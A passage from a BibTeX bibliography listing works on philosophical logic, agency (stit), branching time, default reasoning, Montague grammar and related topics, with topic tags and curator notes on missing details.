{semantic-paradoxes;truth;fixpoints;} + } + +@article{ belnap:1982d, + author = {Nuel D. {Belnap, Jr.}}, + title = {Display Logic}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {4}, + pages = {375--417}, + topic = {proof-theory;combining-logics;} + } + +@unpublished{ belnap:1988a, + author = {Nuel D. {Belnap, Jr.}}, + title = {Declaratives Are Not Enough}, + year = {1988}, + note = {Unpublished manuscript, Philosophy Department, University of Pittsburgh}, + topic = {speech-acts;stit;} + } + +@article{ belnap-perloff:1988a, + author = {Nuel D. {Belnap, Jr.} and Michael Perloff}, + title = {Seeing to it That: a Canonical Form for Agentives}, + journal = {Theoria}, + volume = {54}, + year = {1988}, + pages = {175--199}, + missinginfo = {number}, + topic = {action;stit;branching-time;} + } + +@incollection{ belnap-perloff:1990a, + author = {Nuel D. {Belnap, Jr.} and Michael Perloff}, + title = {Seeing to it that: A Canonical Form for Agentives}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {167--190}, + address = {Dordrecht}, + topic = {action;stit;} + } + +@article{ belnap:1991a, + author = {Nuel D. {Belnap, Jr.}}, + title = {Backwards and Forwards in the Modal Logic of Agency}, + journal = {Philosophy and Phenomenological Research}, + year = {1991}, + volume = {51}, + pages = {777--807}, + missinginfo = {number}, + topic = {stit;branching-time;} + } + +@article{ belnap:1991b, + author = {Nuel D. {Belnap. Jr.}}, + title = {Before Refraining: Concepts for Agency}, + journal = {Erkenntnis}, + year = {1991}, + volume = {34}, + pages = {137--169}, + missinginfo = {number}, + topic = {stit;} + } + +@article{ belnap:1992a, + author = {Nuel D. {Belnap, Jr.}}, + title = {Branching Space-Time}, + journal = {Synt\`hese}, + year = {1992}, + volume = {92}, + pages = {385--434}, + missinginfo = {number}, + topic = {branching-time;} + } + +@article{ belnap-perloff:1992a, + author = {Nuel D. Belnap. Jr. and Michael Perloff}, + title = {The Way of Agent}, + journal = {Studia Logica}, + year = {1992}, + volume = {51}, + pages = {463--484}, + missinginfo = {number}, + topic = {stit;} + } + +@article{ belnap-perloff:1993a, + author = {Nuel D. Belnap. Jr. and Michael Perloff}, + title = {In the Realm of Agents}, + journal = {Annals of Mathematics and Artificial Intelligence}, + year = {1993}, + volume = {9}, + pages = {25--48}, + missinginfo = {number}, + topic = {stit;} + } + +@unpublished{ belnap:1994a, + author = {Nuel D. {Belnap, Jr.}}, + title = {An Austere Theory of Strategies}, + year = {1994}, + note = {Unpublished manuscript, University of Pittsburgh}, + topic = {stit;} + } + +@incollection{ belnap-green_ms:1994a, + author = {Nuel D. {Belnap, Jr.} and Mitchell S. Green}, + title = {Indeterminism and the Thin Red Line}, + booktitle = {Philosophical Perspectives, Volume 7: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {365--388}, + address = {Oxford}, + topic = {branching-time;(in)determinism;} + } + +@incollection{ belnap:1996a, + author = {Nuel D. {Belnap, Jr.}}, + title = {Agents in Branching Time}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {239--271}, + address = {Oxford}, + topic = {action;stit;branching-time;} + } + +@unpublished{ belnap-green_m:1996b, + author = {Nuel D. {Belnap, Jr.} and Mitchell S. Green}, + title = {Wagering on the Future}, + year = {1996}, + note = {Unpublished manuscript, } , + topic = {branching-time;(in)determinism;} + } + +@book{ belnap-etal:2001a, + author = {Nuel D. {Belnap, Jr.} and Michael Perloff and Ming Xu}, + title = {Facing the Future: Agents and Choices in Our Indeterminist + World}, + publisher = {Oxford University Press}, + year = {2001}, + address = {Oxford}, + ISBN = {0-19-513878-3}, + topic = {action;stit;branching-time;causality;} + } + +@incollection{ belnap-bartha:forthcominga, + author = {Nuel D. {Belnap, Jr.} and Paul Bartha}, + title = {Marcus and the Problem of Nested Deontic Modalities}, + booktitle = {Modality, Morality, and Belief}, + publisher = {Cambridge University Press}, + year = {forthcoming}, + editor = {Walter Sinnot-Armstrong and Diana Raffman and Nicholas Asher}, + address = {Cambridge}, + missinginfo = {year, pages}, + topic = {deontic-logic;} + } + +@article{ belot:1998a, + author = {Gordon Belot}, + title = {Review of {\it Time's Arrow and {A}rchimedes' Point: New + Directions for the Physics of Time}, by {H}uw {P}rice}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {107}, + number = {3}, + pages = {477--480}, + xref = {Review of: price_h:1996a.}, + topic = {philosophy-of-time;temporal-direction;} + } + +@incollection{ belot:2000a, + author = {Gordon Belot}, + title = {Chaos and Fundamentalism}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S454--S465}, + address = {Newark, Delaware}, + topic = {philosophy-of-physics;chaos-theory;} + } + +@article{ belot:2001a, + author = {Gordon Belot}, + title = {The Principle of Sufficient Reason}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {98}, + number = {2}, + pages = {55--74}, + topic = {Leibniz;principle-of-sufficient-reason;} + } + +@article{ beltrametti-cassinelli:1977a, + author = {E.G. Beltrametti and G. Cassinelli}, + title = {On State Transitions Induced by Yes-No Experiments, in + the Context of Quantum Logic}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {369--379}, + topic = {quantum-logic;} + } + +@book{ beltrametti:1981a, + author = {E. G. Beltrametti and G. Cassinelli}, + title = {The Logic of Quantum Mechanics}, + publisher = {Addison-Wesley}, + year = {1981}, + address = {Reading, Massachusetts}, + topic = {quantum-logic;} + } + +@article{ belzer:1983a, + author = {Barry Loewer and Marvin Belzer}, + title = {Dyadic Deontic Detachment}, + journal = {Synt\`hese}, + volume = {54}, + pages = {295--318}, + year = {1983}, + missinginfo = {number}, + topic = {deontic-logic;} + } + +@article{ belzer:1986a, + author = {Marvin Belzer}, + title = {Reasoning with Defeasible Principles}, + journal = {Synt\`hese}, + volume = {66}, + pages = {135--158}, + year = {1986}, + missinginfo = {number}, + topic = {deontic-logic;} + } + +@incollection{ belzer-loewer:1994a, + author = {Marvin Belzer and Barry Loewer}, + title = {Hector Meets {3-D}: A Diaphilosophical Epic}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {389--414}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {deontic-logic;conditional-obligation;} + } + +@article{ benacerraf:1967a, + author = {Paul Benacerraf}, + title = {God, the Devil and G\"odel}, + journal = {The Monist}, + year = {1967}, + volume = {51}, + number = {1}, + pages = {9--32}, + contentnote = {Criticizes lucas_jr:1961a.}, + topic = {goedels-first-theorem;philosophy-of-computation;} + } + +@article{ benacerraf:1973a, + author = {Paul Benacerraf}, + title = {Mathematical Truth}, + journal = {Journal of Philosophy}, + year = {1973}, + volume = {70}, + pages = {661--679}, + missinginfo = {number}, + topic = {philosophy-of-mathematics;} + } + +@inproceedings{ benari-etal:1981a, + author = {M. Ben-Ari and Z. Manna and Amir Pnueli}, + title = {The Temporal Logic of Branching Time}, + booktitle = {Eighth Annual {ACM} Symposium on Principles of Programming + Languages}, + publisher = {ACM}, + year = {1981}, + organization = {ACM}, + missinginfo = {A's 1st name, editor, publisher, address}, + title = {The Temporal Logic of Branching Time}, + journal = {Acta Informatica}, + year = {1983}, + volume = {20}, + pages = {207--226}, + missinginfo = {A's 1st name, number}, + topic = {temporal-logic;branching-time;} + } + +@article{ bencivenga:1975a, + author = {Ermanno Bencivenga}, + title = {Set Theory and Free Logic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {5}, + number = {1}, + pages = {1--15}, + topic = {reference-gaps;foundations-of-set-theory;} + } + +@article{ bencivenga:1977a, + author = {Ermanno Bencivenga}, + title = {Are Arithmetical Truths Analytic? New Results in Free + Set Theory}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {319--330}, + topic = {(non)existence;foundations-of-arithmetic;} + } + +@article{ bencivenga:1978a, + author = {Ermanno Bencivenga}, + title = {Free Semantics for Indefinite Descriptions}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {4}, + pages = {389--405}, + topic = {reference-gaps;} + } + +@article{ bencivenga:1979a, + author = {Ermanno Bencivenga}, + title = {On Good and Bad Arguments}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {3}, + pages = {247--259}, + topic = {philosophy-of-logic;logical-consequence;} + } + +@incollection{ bencivenga:1986a, + author = {Ermanno Bencivenga}, + title = {Free Logics}, + booktitle = {Handbook of Philosophical Logic, Volume {III}: + Alternatives in Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {373--426}, + address = {Dordrecht}, + topic = {truth-value-gaps;reference-gaps;} + } + +@article{ bendall:1971a, + author = {Kent Bendall}, + title = {Laplacian Determinism and Omnitemporal Determinates}, + journal = {The Journal of Philosophy}, + year = {1971}, + volume = {67}, + number = {21}, + pages = {751--761}, + topic = {determinism;formalizations-of-physics;} + } + +@article{ bendall:1978a, + author = {Kent Bendall}, + title = {Natural Deduction, Separation, and the Meaning of Logical + Operators}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {3}, + pages = {245--276}, + topic = {proof-theory;} + } + +@article{ bendall:1979a, + author = {Kent Bendall}, + title = {Belief-Theoretic Formal Semantics for First-Order Logic + and Probability}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {4}, + pages = {375--397}, + contentnote = {The idea is to develop probability semantics + from constraints on coherent belief}, + topic = {epistemic-semantics;probability-semantics;} + } + +@article{ bendall:1982a, + author = {Kent Bendall}, + title = {A `Definitive' Probabilistic Semantics for First Order Logic}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {3}, + pages = {255--278}, + topic = {probability-semantics;} + } + +@article{ bendavid-zohary:2000a, + author = {Rachel Ben-David and Rachel Ben-Eliyahu Zohary}, + title = {A Modal Logic for Subjective Default Reasoning}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {217--236}, + topic = {nonmonotonic-conditionals;nonmonotonic-logic;modal-logic;} + } + +@incollection{ bendefarkas:1999a, + author = {Agnes Bende-Farkas}, + title = {Incorporation as Unification}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {79--84}, + address = {Amsterdam}, + topic = {incorporation;unification;"have"-constructions; + nl-semantics;} + } + +@techreport{ bendix:1966a, + author = {Edward H. Bendix}, + title = {Componential Analysis of General Vocabulary}, + institution = {Indiana University Research Center in Anthropology, + Folklore, and Linguistics}, + number = {Publication 41}, + year = {1966}, + address = {Bloomington, Indiana}, + topic = {componential-semantics;} + } + +@incollection{ bendix:1971a, + author = {Edward H. Bendix}, + title = {The Data of Semantic Description}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {393--409}, + address = {Cambridge, England}, + topic = {linguistics-methodology;foundations-of-semantics; + componential-semantics;} + } + +@incollection{ beneceretti-etal:2001a, + author = {Massimo Beneceretti and Paolo Bouquet and Chiara Ghidini}, + title = {On the Dimensions of Context Dependence: Partiality, + Approximation, and Perspective}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {59--72}, + address = {Berlin}, + topic = {context;contextual-reasoning;} + } + +@incollection{ beneliyahu-palopoli:1994a, + author = {Rachel Ben-Eliyahu and Luigi Palopoli}, + title = {Reasoning with Minimal Models: Efficient Algorithms and + Applications}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {39--50}, + address = {San Francisco, California}, + topic = {kr;minimal-models;circumscription;kr-course;} + } + +@article{ beneliyahu-dechter_r:1996a, + author = {Rachel Beneliyahu and Rina Dechter}, + title = {Default Reasoning Using Classical Logic}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {113--150}, + contentnote = {Shows how to do efficient reasoning using classical + equivalents for a class of default theories.}, + topic = {default-logic;nonmonotonic-reasoning;} + } + +@article{ beneliyahuzohary-palopoli:1997a, + author = {Rachel Ben-Eliyahu-Zohary and Luigi Palopoli}, + title = {Reasoning with Minimal Models: Efficient Algorithms and + Applications}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {96}, + number = {2}, + pages = {421--449}, + topic = {minimal-models;stable-models;AI-algorithms;nonmonotonic-reasoning;} + } + +@article{ beneliyahuzohary:2002a, + author = {Rachel Ben-Eliyahu Zohary}, + title = {Yet Some More Complexity Results for Default Logic}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {139}, + number = {1}, + pages = {1--20}, + topic = {default-logic;complexity-in-AI;} + } + +@inproceedings{ benerecetti-etal:1997a, + author = {Massimo Benerecetti and Paolo Bouquet and Chiara Ghidini}, + title = {A Multi Context Approach to Belief Report}, + booktitle = {AAAI Fall 1997 Symposium on Context in {KR} and {NL}}, + editor = {Sasa Buva\v{c} and L.~Ivanska}, + year = {1997}, + organization = {AAAI}, + missinginfo = {A's 1st name}, + topic = {context;} + } + +@inproceedings{ benerecetti-etal:1997b, + author = {Massimo Benerecetti and Chiari Ghidini and Paolo Bouquet}, + title = {Formalizing Opacity and Transparency in Belief Contexts}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {30--37}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;epistemic-logic;referential-opacity;} + } + +@inproceedings{ benerecetti-etal:1998a, + author = {Massimo Benerecetti and Chiari Ghidini and Paolo Bouquet}, + title = {Formalizing Belief Reports---The Approach and a Case Study}, + booktitle = {Proceedings of the Eighth International Conference on + Artificial Intelligence, Methodology, Systems, and Applications}, + year = {1998}, + publisher = {Springer-Verlag}, + address = {Berlin}, + missinginfo = {editor, pages}, + topic = {epistemic-logic;} + } + +@unpublished{ benerecetti-etal:1999a, + author = {Massimo Benerecetti and Paolo Bouquet and Chiara Ghidini}, + title = {Contextual Reasoning Distilled}, + year = {1999}, + note = {Unpublished manuscript, University of Trento}, + topic = {context;} + } + +@incollection{ benferhat-etal:1992a, + author = {Salem Benferhat and Didier Dubois and Henri Prade}, + title = {Representing Default Rules in Possibilistic Logic}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {673--684}, + address = {San Mateo, California}, + topic = {kr;default-logic;nonmonotonic-logic;possibilistic-logic;} + } + +@article{ benferhat-etal:1997a, + author = {Salem Benferhat and Didier Dubois and Henri Prade}, + title = {Nonmonotonic Reasoning, Conditional Objects, and Possibility + Theory}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {259--276}, + topic = {nonmonotonic-reasoning;conditionals;conditional-reasoning;} + } + +@inproceedings{ benferhat-etal:1997b, + author = {Salem Benferhat and Didier Dubois and Henri Prade}, + title = {Possibilistic and Standard Probabilistic Semantics of + Conditional Knowledge}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference, + Vol. 1}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {70--75}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {conditionals;knowledge;probabilistic-reasoning;} + } + +@incollection{ benferhat:1998a, + author = {Salem Benferhat}, + title = {Infinitesimal Theories of Uncertainty for Plausible + Reasoning}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {303--356}, + address = {Dordrecht}, + topic = {infinitesimals;nonstandard-analysis; + reasoning-about-uncertainty;foundations-of-probability;} + } + +@incollection{ benferhat-etal:1998a, + author = {Salem Benferhat and Didier Dubois and J. Lang and + Henri Prade and Philippe Smets and A. Saffiotti}, + title = {A General Approach for Inconsistency Handling and Merging + Information in Prioritized Knowledge Bases}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {466--477}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-prioritization;kr-course;} + } + +@inproceedings{ benferhat-etal:1998b, + author = {Salem Benferhat and Didier Dubois and Henri Prade}, + title = {Possibilistic and Standard Probabilistic Semantics + of Conditional Knowledge}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {70--75}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {probabilistic-logic;nonmonotonic-logic;} + } + +@article{ benferhat-etal:2000a, + author = {Salem Benferhat and Alessandro Saffiotti and Philippe Smets}, + title = {Belief Functions and Default Reasoning}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {122}, + number = {1--2}, + pages = {1--69}, + topic = {default-reasoning;probability-semantics;infinitesimals;} + } + +@incollection{ benferhat-etal:2000b, + author = {Salem Benferhat and Didier Dubois and H\'elene Fargier and + Henri Prade and R\'egis Sabbadin}, + title = {Decision, Nonmonotonic Reasoning and Possibilistic Logic}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {333--358}, + address = {Dordrecht}, + topic = {logic-in-AI;qualitative-decision-theory;possibilistic-logic;} + } + +@article{ benferhat-etal:2002a, + author = {Salem Benferhat and Didier Dubois and Henri Prade and + Mary-Anne Williams}, + title = {A Practical Approach to Revising Prioritized Knowledge Bases}, + journal = {Studia Logica}, + year = {2002}, + volume = {68}, + number = {1}, + pages = {105--130}, + topic = {belief-revision;kr;knowledge-base-revision;} + } + +@article{ benferhat-garcia:2002a, + author = {Salem Benferhat and Laurent Garcia}, + title = {Handling with Locally Stratified Inconsistent Knowledge + Bases}, + journal = {Studia Logica}, + year = {2002}, + volume = {68}, + number = {1}, + pages = {77--104}, + topic = {belief-revision;paraconsistency;knowledge-base-revision;} + } + +@inproceedings{ benhamou-heocque:1998a, + author = {Belaid Benhamou and Laurent Heocque}, + title = {Finite Model Search for Equational Theories (FMSET)}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {84--93}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {theorem-proving;finite-models;model-construction;} + } + +@article{ benjamin_ac:1939a, + author = {A.C. Benjamin}, + title = {Science and Vagueness}, + journal = {Philosophy of Science}, + year = {1939}, + volume = {6}, + pages = {422--431}, + missinginfo = {A's 1st name, number}, + topic = {vagueness;} + } + +@unpublished{ benjamin_dp:1995a, + author = {D. Paul Benjamin}, + title = {Analyzing Languages of Actions for the Purpose of + Synthesis}, + year = {1995}, + note = {Unpublished manuscript, Oklahoma State University.}, + missinginfo = {Year is Guess. Published in some AI conference? + Which one? This author seems that semigroup theory is + the key to understanding all sorts of things about + action.}, + topic = {action-formalisms;} + } + +@incollection{ benl-etal:1998a, + author = {H. Benl et al.}, + title = {Proof Theory at Work: Program Development + in the {M}inlog System}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, other authors, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ bennett_adc-etal:2000a, + author = {A.D.C. Bennett and J.B. Paris and A. Vencovsk\'a}, + title = {A New Criterion for Comparing Fuzzy Logics for + Uncertain Reasoning}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {1}, + pages = {31--63}, + topic = {reasoning-about-uncertainty;fuzzy-logic;} + } + +@incollection{ bennett_b:1994a, + author = {Brandon Bennett}, + title = {Spatial Reasoning with Propositional Logics}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + address = {San Francisco, California}, + pages = {51--62}, + topic = {spatial-reasoning;kr;kr-course;} + } + +@incollection{ bennett_b:1998a, + author = {Brandon Bennett}, + title = {Modal Semantics for Knowledge Bases Dealing with + Vague Concepts}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {234--244}, + address = {San Francisco, California}, + topic = {kr;modal-logic;vagueness;kr-course;} + } + +@incollection{ bennett_b:2002a, + author = {Brandon Bennett}, + title = {Physical Objects, Identity and Vagueness}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {395--406}, + address = {San Francisco, California}, + topic = {kr;computational-ontology;vagueness;} + } + +@article{ bennett_bh:1999a, + author = {Bonnie Holte Bennett}, + title = {Review of {\it Robot: Mere Machine to Transcendent Mind}, + by {H}ans {M}oravec}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {3}, + pages = {92--93}, + topic = {robotics;AI-survey;} + } + +@incollection{ bennett_ch:1988a, + author = {Charles H. Bennett}, + title = {Logical Depth and Physical Complexity}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {227--257}, + address = {Oxford}, + topic = {complexity-theory;physical-realizations-of-computation;} + } + +@incollection{ bennett_j:1969a, + author = {Jonathan Bennett}, + title = {\,`Real'\, } , + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {267--283}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;phenomenalism;ordinary-language-philosophy;} + } + +@article{ bennett_j:1973a, + author = {Jonathan Bennett}, + title = {The Meaning-Nominalist Strategy}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {1}, + pages = {141--168}, + topic = {nominalism;foundations-of-semantics;} + } + +@article{ bennett_j:1974a, + author = {Jonathan Bennett}, + title = {Counterfactuals and Possible Worlds}, + journal = {Canadian Journal of Philosophy}, + year = {1974}, + volume = {4}, + pages = {381--402}, + missinginfo = {number}, + topic = {conditionals;} + } + +@book{ bennett_j:1976a, + author = {Jonathan Bennett}, + title = {Linguistic Behaviour}, + publisher = {Cambridge University Press}, + year = {1976}, + address = {Cambridge, England}, + xref = {Reviews: peacocke:1977a,thomason_rh:1972b.}, + topic = {philosophy-of-language;semantics;speaker-meaning;Grice; + convention;} + } + +@article{ bennett_j:1982a, + author = {Jonathan Bennett}, + title = {Psychology and Semantics: {S}chiffer's `Intention-Based + Semantics'\, } , + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {1}, + pages = {258--262}, + xref = {Comments on schiffer:1982a.}, + topic = {foundations-of-semantics;} + } + +@article{ bennett_j:1982b, + author = {Jonathan Bennett}, + title = {\,`Even If'\, } , + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + pages = {403--418}, + number = {3}, + topic = {`even';sentence-focus;pragmatics;semantics;} + } + +@article{ bennett_j:1984a, + author = {Jonathan Bennett}, + title = {Counterfactuals and Temporal Direction}, + journal = {The Philosophical Review}, + year = {1984}, + volume = {43}, + number = {1}, + pages = {7--89}, + title = {Philosophy and Mr. {S}toppard}, + journal = {Philosophy}, + year = {1985}, + volume = {50}, + missinginfo = {number}, + pages = {5--18}, + topic = {Stoppard;} + } + +@book{ bennett_j:1988a, + author = {Jonathan Bennett}, + title = {Events and Their Names}, + publisher = {Hackett Publishing Company}, + year = {1988}, + address = {Indianapolis}, + ISBN = {0-87220-045-0 (paperback)}, + topic = {events;philosophical-ontology;facts;causation;} + } + +@article{ bennett_j:1994a, + author = {Jonathan Bennett}, + title = {The `Namely' Analysis of the `by'-Locution}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {1}, + pages = {29--51}, + topic = {agency;manner-adverbials;action;} + } + +@article{ bennett_j:1995a, + author = {Jonathan Bennett}, + title = {Classifying Conditionals: the Traditional Way is Right}, + journal = {Mind}, + year = {1995}, + volume = {104}, + number = {413}, + pages = {331--354}, + topic = {conditionals;} + } + +@unpublished{ bennett_mr:1973a, + author = {Michael R. Bennett}, + title = {Two Puzzles Concerning Tense and Aspect in {E}nglish}, + year = {1973}, + note = {Unpublished manuscript, UCLA, 1973.}, + topic = {tense-aspect;} + } + +@phdthesis{ bennett_mr:1974a1, + author = {Michael R. Bennett}, + title = {Some Extensions of a {M}ontague Fragment of {E}nglish}, + school = {University of California at Los Angeles}, + year = {1974}, + type = {Ph.{D}. Dissertation}, + address = {Los Angeles}, + xref = {Republication, with corrections: bennett_mr:1974a2.}, + topic = {demonstratives;indexicals;Montague-grammar;} + } + +@book{ bennett_mr:1974a2, + author = {Michael R. Bennett}, + title = {Some Extensions of a {M}ontague Fragment of {E}nglish + (Corrected Version)}, + publisher = {Indiana University Linguistics Club}, + year = {1975}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Republication, with corrections, of: bennett_mr:1974a1.}, + topic = {Montague-grammar;plural;nl-semantics;} + } + +@unpublished{ bennett_mr:1976a, + author = {Michael R. Bennett}, + title = {Demonstratives in {M}ontague Grammar}, + year = {1976}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsburgh.}, + topic = {demonstratives;indexicals;Montague-grammar;} + } + +@unpublished{ bennett_mr:1976b, + author = {Michael R. Bennett}, + title = {A Variation on {N}uel's Theory}, + year = {1976}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsburgh.}, + topic = {nl-semantics;interrogatives;} + } + +@unpublished{ bennett_mr:1976c, + author = {Michael R. Bennett}, + title = {The Plural {\it Which}}, + year = {1976}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsburgh.}, + topic = {nl-semantics;interrogatives;} + } + +@incollection{ bennett_mr:1976d, + author = {Michael R. Bennett}, + title = {A Variation and Extension of a {M}ontague + Fragment of {E}nglish}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {119--163}, + address = {New York}, + topic = {Montague-grammar;nl-semantics;} + } + +@unpublished{ bennett_mr:1977a, + author = {Michael R. Bennett}, + title = {Mass Nouns and Mass Terms in {M}ontague Grammar}, + year = {1977}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsburgh.}, + topic = {mass-term-semantics;nl-semantics;Montague-grammar;} + } + +@unpublished{ bennett_mr:1977b, + author = {Michael R. Bennett}, + title = {Mass Nouns and Their Quantifiers in {M}ontague Grammar}, + year = {1977}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsburgh.}, + topic = {mass-term-semantics;nl-semantics;Montague-grammar;} + } + +@article{ bennett_mr:1977c, + author = {Michael R. Bennett}, + title = {A Guide to the Logic of Tense and Aspect in {E}nglish}, + journal = {Logique et Analyse}, + volume = {20}, + number = {80}, + year = {1977}, + topic = {tense-aspect;} + } + +@unpublished{ bennett_mr:1977d, + author = {Michael R. Bennett}, + title = {The Plural in {M}ontague Grammar}, + year = {1977}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsburgh}, + topic = {nl-semantics;plural;Montague-grammar;} + } + +@article{ bennett_mr:1977e, + author = {Michael R. Bennett}, + title = {A Response to {K}arttunen on Questions}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {279--300}, + topic = {Montague-grammar;interrogatives;} + } + +@unpublished{ bennett_mr:1978a, + author = {Michael R. Bennett}, + title = {Of Tense and Aspect: One Analysis}, + year = {1978}, + note = {Unpublished manuscript, Philosophy Department, University + of Pittsburgh.}, + topic = {nl-semantics;tense-aspect;Montague-grammar;} + } + +@article{ bennett_mr:1978b, + author = {Michael R. Bennett}, + title = {Demonstratives and Indexicals in {M}ontague Grammar}, + journal = {Synth\'ese}, + year = {1978}, + volume = {39}, + number = {1}, + pages = {1--80}, + topic = {demonstratives;indexicals;Montague-grammar;} + } + +@unpublished{ bennett_mr:1978c, + author = {Michael R. Bennett}, + title = {Summary of Future Work}, + year = {1978}, + month = {December}, + note = {Unpublished 